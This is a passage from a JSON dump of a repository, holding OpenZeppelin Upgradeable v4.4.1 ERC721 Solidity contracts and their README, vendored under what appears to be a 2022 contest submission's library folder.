to;\n\n        emit Transfer(from, to, tokenId);\n    }\n\n    /**\n     * @dev Approve `to` to operate on `tokenId`\n     *\n     * Emits a {Approval} event.\n     */\n    function _approve(address to, uint256 tokenId) internal virtual {\n        _tokenApprovals[tokenId] = to;\n        emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n    }\n\n    /**\n     * @dev Approve `operator` to operate on all of `owner` tokens\n     *\n     * Emits a {ApprovalForAll} event.\n     */\n    function _setApprovalForAll(\n        address owner,\n        address operator,\n        bool approved\n    ) internal virtual {\n        require(owner != operator, \"ERC721: approve to caller\");\n        _operatorApprovals[owner][operator] = approved;\n        emit ApprovalForAll(owner, operator, approved);\n    }\n\n    /**\n     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n     * The call is not executed if the target address is not a contract.\n     *\n     * @param from address representing the previous owner of the given token ID\n     * @param to target address that will receive the tokens\n     * @param tokenId uint256 ID of the token to be transferred\n     * @param _data bytes optional data to send along with the call\n     * @return bool whether the call correctly returned the expected magic value\n     */\n    function _checkOnERC721Received(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) private returns (bool) {\n        if (to.isContract()) {\n            try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {\n                return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;\n            } catch (bytes memory reason) {\n                if (reason.length == 0) {\n                    revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n                } else {\n                    assembly {\n                        revert(add(32, reason), mload(reason))\n                    }\n                }\n            }\n        } else {\n            return true;\n        }\n    }\n\n    /**\n     * @dev Hook that is called before any token transfer. This includes minting\n     * and burning.\n     *\n     * Calling conditions:\n     *\n     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n     * transferred to `to`.\n     * - When `from` is zero, `tokenId` will be minted for `to`.\n     * - When `to` is zero, ``from``'s `tokenId` will be burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual {}\n    uint256[44] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721ReceiverUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721ReceiverUpgradeable {\n    /**\n     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n     * by `operator` from `from`, this function is called.\n     *\n     * It must return its Solidity selector to confirm the token transfer.\n     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n     *\n     * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n     */\n    function onERC721Received(\n        address operator,\n        address from,\n        uint256 tokenId,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721Upgradeable is IERC165Upgradeable {\n    /**\n     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n     */\n    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n    /**\n     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n     */\n    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n    /**\n     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n     */\n    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n    /**\n     * @dev Returns the number of tokens in ``owner``'s account.\n     */\n    function balanceOf(address owner) external view returns (uint256 balance);\n\n    /**\n     * @dev Returns the owner of the `tokenId` token.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     */\n    function ownerOf(uint256 tokenId) external view returns (address owner);\n\n    /**\n     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n     * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must exist and be owned by `from`.\n     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n     *\n     * Emits a {Transfer} event.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) external;\n\n    /**\n     * @dev Transfers `tokenId` token from `from` to `to`.\n     *\n     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must be owned by `from`.\n     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) external;\n\n    /**\n     * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n     * The approval is cleared when the token is transferred.\n     *\n     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n     *\n     * Requirements:\n     *\n     * - The caller must own the token or be an approved operator.\n     * - `tokenId` must exist.\n     *\n     * Emits an {Approval} event.\n     */\n    function approve(address to, uint256 tokenId) external;\n\n    /**\n     * @dev Returns the account approved for `tokenId` token.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     */\n    function getApproved(uint256 tokenId) external view returns (address operator);\n\n    /**\n     * @dev Approve or remove `operator` as an operator for the caller.\n     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n     *\n     * Requirements:\n     *\n     * - The `operator` cannot be the caller.\n     *\n     * Emits an {ApprovalForAll} event.\n     */\n    function setApprovalForAll(address operator, bool _approved) external;\n\n    /**\n     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n     *\n     * See {setApprovalForAll}\n     */\n    function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n    /**\n     * @dev Safely transfers `tokenId` token from `from` to `to`.\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must exist and be owned by `from`.\n     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n     *\n     * Emits a {Transfer} event.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes calldata data\n    ) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/README.adoc",
    "content": "= ERC 721\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc721\n\nThis set of interfaces, contracts, and utilities are all related to the https://eips.ethereum.org/EIPS/eip-721[ERC721 Non-Fungible Token Standard].\n\nTIP: For a walk through on how to create an ERC721 token read our xref:ROOT:erc721.adoc[ERC721 guide].\n\nThe EIP consists of three interfaces, found here as {IERC721}, {IERC721Metadata}, and {IERC721Enumerable}. Only the first one is required in a contract to be ERC721 compliant. The core interface and the metadata extension are both implemented in {ERC721}. The enumerable extension is provided separately in {ERC721Enumerable}.\n\nAdditionally, {IERC721Receiver} can be used to prevent tokens from becoming forever locked in contracts. Imagine sending an in-game item to an exchange address that can't send it back!. When using <<IERC721-safeTransferFrom,`safeTransferFrom`>>, the token contract checks to see that the receiver is an {IERC721Receiver}, which implies that it knows how to handle {ERC721} tokens. If you're writing a contract that needs to receive {ERC721} tokens, you'll want to include this interface.\n\nAdditionally there are multiple custom extensions, including:\n\n* designation of addresses that can pause token transfers for all users ({ERC721Pausable}).\n* destruction of own tokens ({ERC721Burnable}).\n\nNOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC721 (such as <<ERC721-_mint-address-uint256-,`_mint`>>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc721.adoc#Presets[ERC721 Presets] (such as {ERC721PresetMinterPauserAutoId}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.\n\n\n== Core\n\n{{IERC721}}\n\n{{IERC721Metadata}}\n\n{{IERC721Enumerable}}\n\n{{ERC721}}\n\n{{ERC721Enumerable}}\n\n{{IERC721Receiver}}\n\n== Extensions\n\n{{ERC721Pausable}}\n\n{{ERC721Burnable}}\n\n{{ERC721URIStorage}}\n\n== Presets\n\nThese contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.\n\n{{ERC721PresetMinterPauserAutoId}}\n\n== Utilities\n\n{{ERC721Holder}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721BurnableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC721 Burnable Token\n * @dev ERC721 Token that can be irreversibly burned (destroyed).\n */\nabstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {\n    function __ERC721Burnable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC721Burnable_init_unchained();\n    }\n\n    function __ERC721Burnable_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev Burns `tokenId`. See {ERC721-_burn}.\n     *\n     * Requirements:\n     *\n     * - The caller must own `tokenId` or be an approved operator.\n     */\n    function burn(uint256 tokenId) public virtual {\n        //solhint-disable-next-line max-line-length\n        require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721Burnable: caller is not owner nor approved\");\n        _burn(tokenId);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"./IERC721EnumerableUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev This implements an optional extension of {ERC721} defined in the EIP that adds\n * enumerability of all the token ids in the contract as well as all token ids owned by each\n * account.\n */\nabstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {\n    function __ERC721Enumerable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC721Enumerable_init_unchained();\n    }\n\n    function __ERC721Enumerable_init_unchained() internal onlyInitializing {\n    }\n    // Mapping from owner to list of owned token IDs\n    mapping(address => mapping(uint256 => uint256)) private _ownedTokens;\n\n    // Mapping from token ID to index of the owner tokens list\n    mapping(uint256 => uint256) private _ownedTokensIndex;\n\n    // Array with all token ids, used for enumeration\n    uint256[] private _allTokens;\n\n    // Mapping from token id to position in the allTokens array\n    mapping(uint256 => uint256) private _allTokensIndex;\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {\n        return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.\n     */\n    function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {\n        require(index < ERC721Upgradeable.balanceOf(owner), \"ERC721Enumerable: owner index out of bounds\");\n        return _ownedTokens[owner][index];\n    }\n\n    /**\n     * @dev See {IERC721Enumerable-totalSupply}.\n     */\n    function totalSupply() public view virtual override returns (uint256) {\n        return _allTokens.length;\n    }\n\n    /**\n     * @dev See {IERC721Enumerable-tokenByIndex}.\n     */\n    function tokenByIndex(uint256 index) public view virtual override returns (uint256) {\n        require(index < ERC721EnumerableUpgradeable.totalSupply(), \"ERC721Enumerable: global index out of bounds\");\n        return _allTokens[index];\n    }\n\n    /**\n     * @dev Hook that is called before any token transfer. This includes minting\n     * and burning.\n     *\n     * Calling conditions:\n     *\n     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n     * transferred to `to`.\n     * - When `from` is zero, `tokenId` will be minted for `to`.\n     * - When `to` is zero, ``from``'s `tokenId` will be burned.\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual override {\n        super._beforeTokenTransfer(from, to, tokenId);\n\n        if (from == address(0)) {\n            _addTokenToAllTokensEnumeration(tokenId);\n        } else if (from != to) {\n            _removeTokenFromOwnerEnumeration(from, tokenId);\n        }\n        if (to == address(0)) {\n            _removeTokenFromAllTokensEnumeration(tokenId);\n        } else if (to != from) {\n            _addTokenToOwnerEnumeration(to, tokenId);\n        }\n    }\n\n    /**\n     * @dev Private function to add a token to this extension's ownership-tracking data structures.\n     * @param to address representing the new owner of the given token ID\n     * @param tokenId uint256 ID of the token to be added to the tokens list of the given address\n     */\n    function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\n        uint256 length = ERC721Upgradeable.balanceOf(to);\n        _ownedTokens[to][length] = tokenId;\n        _ownedTokensIndex[tokenId] = length;\n    }\n\n    /**\n     * @dev Private function to add a token to this extension's token tracking data structures.\n     * @param tokenId uint256 ID of the token to be added to the tokens list\n     */\n    function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\n        _allTokensIndex[tokenId] = _allTokens.length;\n        _allTokens.push(tokenId);\n    }\n\n    /**\n     * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that\n     * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for\n     * gas optimizations e.g. when performing a transfer operation (avoiding double writes).\n     * This has O(1) time complexity, but alters the order of the _ownedTokens array.\n     * @param from address representing the previous owner of the given token ID\n     * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address\n     */\n    function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {\n        // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and\n        // then delete the last slot (swap and pop).\n\n        uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;\n        uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n        // When the token to delete is the last token, the swap operation is unnecessary\n        if (tokenIndex != lastTokenIndex) {\n            uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\n\n            _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\n            _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\n        }\n\n        // This also deletes the contents at the last position of the array\n        delete _ownedTokensIndex[tokenId];\n        delete _ownedTokens[from][lastTokenIndex];\n    }\n\n    /**\n     * @dev Private function to remove a token from this extension's token tracking data structures.\n     * This has O(1) time complexity, but alters the order of the _allTokens array.\n     * @param tokenId uint256 ID of the token to be removed from the tokens list\n     */\n    function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\n        // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and\n        // then delete the last slot (swap and pop).\n\n        uint256 lastTokenIndex = _allTokens.length - 1;\n        uint256 tokenIndex = _allTokensIndex[tokenId];\n\n        // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so\n        // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding\n        // an 'if' statement (like in _removeTokenFromOwnerEnumeration)\n        uint256 lastTokenId = _allTokens[lastTokenIndex];\n\n        _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\n        _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\n\n        // This also deletes the contents at the last position of the array\n        delete _allTokensIndex[tokenId];\n        _allTokens.pop();\n    }\n    uint256[46] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721PausableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../security/PausableUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev ERC721 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n */\nabstract contract ERC721PausableUpgradeable is Initializable, ERC721Upgradeable, PausableUpgradeable {\n    function __ERC721Pausable_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __Pausable_init_unchained();\n        __ERC721Pausable_init_unchained();\n    }\n\n    function __ERC721Pausable_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev See {ERC721-_beforeTokenTransfer}.\n     *\n     * Requirements:\n     *\n     * - the contract must not be paused.\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual override {\n        super._beforeTokenTransfer(from, to, tokenId);\n\n        require(!paused(), \"ERC721Pausable: token transfer while paused\");\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev ERC721 token with storage based token URI management.\n */\nabstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable {\n    function __ERC721URIStorage_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC721URIStorage_init_unchained();\n    }\n\n    function __ERC721URIStorage_init_unchained() internal onlyInitializing {\n    }\n    using StringsUpgradeable for uint256;\n\n    // Optional mapping for token URIs\n    mapping(uint256 => string) private _tokenURIs;\n\n    /**\n     * @dev See {IERC721Metadata-tokenURI}.\n     */\n    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n        require(_exists(tokenId), \"ERC721URIStorage: URI query for nonexistent token\");\n\n        string memory _tokenURI = _tokenURIs[tokenId];\n        string memory base = _baseURI();\n\n        // If there is no base URI, return the token URI.\n        if (bytes(base).length == 0) {\n            return _tokenURI;\n        }\n        // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).\n        if (bytes(_tokenURI).length > 0) {\n            return string(abi.encodePacked(base, _tokenURI));\n        }\n\n        return super.tokenURI(tokenId);\n    }\n\n    /**\n     * @dev Sets `_tokenURI` as the tokenURI of `tokenId`.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     */\n    function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {\n        require(_exists(tokenId), \"ERC721URIStorage: URI set of nonexistent token\");\n        _tokenURIs[tokenId] = _tokenURI;\n    }\n\n    /**\n     * @dev Destroys `tokenId`.\n     * The approval is cleared when the token is burned.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _burn(uint256 tokenId) internal virtual override {\n        super._burn(tokenId);\n\n        if (bytes(_tokenURIs[tokenId]).length != 0) {\n            delete _tokenURIs[tokenId];\n        }\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721EnumerableUpgradeable is IERC721Upgradeable {\n    /**\n     * @dev Returns the total amount of tokens stored by the contract.\n     */\n    function totalSupply() external view returns (uint256);\n\n    /**\n     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.\n     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.\n     */\n    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);\n\n    /**\n     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.\n     * Use along with {totalSupply} to enumerate all tokens.\n     */\n    function tokenByIndex(uint256 index) external view returns (uint256);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/IERC721MetadataUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n    /**\n     * @dev Returns the token collection name.\n     */\n    function name() external view returns (string memory);\n\n    /**\n     * @dev Returns the token collection symbol.\n     */\n    function symbol() external view returns (string memory);\n\n    /**\n     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n     */\n    function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/presets/ERC721PresetMinterPauserAutoIdUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/presets/ERC721PresetMinterPauserAutoId.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../extensions/ERC721EnumerableUpgradeable.sol\";\nimport \"../extensions/ERC721BurnableUpgradeable.sol\";\nimport \"../extensions/ERC721PausableUpgradeable.sol\";\nimport \"../../../access/AccessControlEnumerableUpgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../utils/CountersUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev {ERC721} token, including:\n *\n *  - ability for holders to burn (destroy) their tokens\n *  - a minter role that allows for token minting (creation)\n *  - a pauser role that allows to stop all token transfers\n *  - token ID and URI autogeneration\n *\n * This contract uses {AccessControl} to lock permissioned functions using the\n * different roles - head to its documentation for details.\n *\n * The account that deploys the contract will be granted the minter and pauser\n * roles, as well as the default admin role, which will let it grant both minter\n * and pauser roles to other accounts.\n */\ncontract ERC721PresetMinterPauserAutoIdUpgradeable is\n    Initializable, ContextUpgradeable,\n    AccessControlEnumerableUpgradeable,\n    ERC721EnumerableUpgradeable,\n    ERC721BurnableUpgradeable,\n    ERC721PausableUpgradeable\n{\n    function initialize(\n        string memory name,\n        string memory symbol,\n        string memory baseTokenURI\n    ) public virtual initializer {\n        __ERC721PresetMinterPauserAutoId_init(name, symbol, baseTokenURI);\n    }\n    using CountersUpgradeable for CountersUpgradeable.Counter;\n\n    bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n    bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n\n    CountersUpgradeable.Counter private _tokenIdTracker;\n\n    string private _baseTokenURI;\n\n    /**\n     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the\n     * account that deploys the contract.\n     *\n     * Token URIs will be autogenerated based on `baseURI` and their token IDs.\n     * See {ERC721-tokenURI}.\n     */\n    function __ERC721PresetMinterPauserAutoId_init(\n        string memory name,\n        string memory symbol,\n        string memory baseTokenURI\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __AccessControl_init_unchained();\n        __AccessControlEnumerable_init_unchained();\n        __ERC721_init_unchained(name, symbol);\n        __ERC721Enumerable_init_unchained();\n        __ERC721Burnable_init_unchained();\n        __Pausable_init_unchained();\n        __ERC721Pausable_init_unchained();\n        __ERC721PresetMinterPauserAutoId_init_unchained(name, symbol, baseTokenURI);\n    }\n\n    function __ERC721PresetMinterPauserAutoId_init_unchained(\n        string memory name,\n        string memory symbol,\n        string memory baseTokenURI\n    ) internal onlyInitializing {\n        _baseTokenURI = baseTokenURI;\n\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n\n        _setupRole(MINTER_ROLE, _msgSender());\n        _setupRole(PAUSER_ROLE, _msgSender());\n    }\n\n    function _baseURI() internal view virtual override returns (string memory) {\n        return _baseTokenURI;\n    }\n\n    /**\n     * @dev Creates a new token for `to`. Its token ID will be automatically\n     * assigned (and available on the emitted {IERC721-Transfer} event), and the token\n     * URI autogenerated based on the base URI passed at construction.\n     *\n     * See {ERC721-_mint}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `MINTER_ROLE`.\n     */\n    function mint(address to) public virtual {\n        require(hasRole(MINTER_ROLE, _msgSender()), \"ERC721PresetMinterPauserAutoId: must have minter role to mint\");\n\n        // We cannot just use balanceOf to create the new tokenId because tokens\n        // can be burned (destroyed), so we need a separate counter.\n        _mint(to, _tokenIdTracker.current());\n        _tokenIdTracker.increment();\n    }\n\n    /**\n     * @dev Pauses all token transfers.\n     *\n     * See {ERC721Pausable} and {Pausable-_pause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function pause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC721PresetMinterPauserAutoId: must have pauser role to pause\");\n        _pause();\n    }\n\n    /**\n     * @dev Unpauses all token transfers.\n     *\n     * See {ERC721Pausable} and {Pausable-_unpause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function unpause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC721PresetMinterPauserAutoId: must have pauser role to unpause\");\n        _unpause();\n    }\n\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual override(ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721PausableUpgradeable) {\n        super._beforeTokenTransfer(from, to, tokenId);\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(AccessControlEnumerableUpgradeable, ERC721Upgradeable, ERC721EnumerableUpgradeable)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n    uint256[48] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/utils/ERC721HolderUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721ReceiverUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC721Receiver} interface.\n *\n * Accepts all token transfers.\n * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.\n */\ncontract ERC721HolderUpgradeable is Initializable, IERC721ReceiverUpgradeable {\n    function __ERC721Holder_init() internal onlyInitializing {\n        __ERC721Holder_init_unchained();\n    }\n\n    function __ERC721Holder_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev See {IERC721Receiver-onERC721Received}.\n     *\n     * Always returns `IERC721Receiver.onERC721Received.selector`.\n     */\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes memory\n    ) public virtual override returns (bytes4) {\n        return this.onERC721Received.selector;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/ERC777Upgradeable.sol",
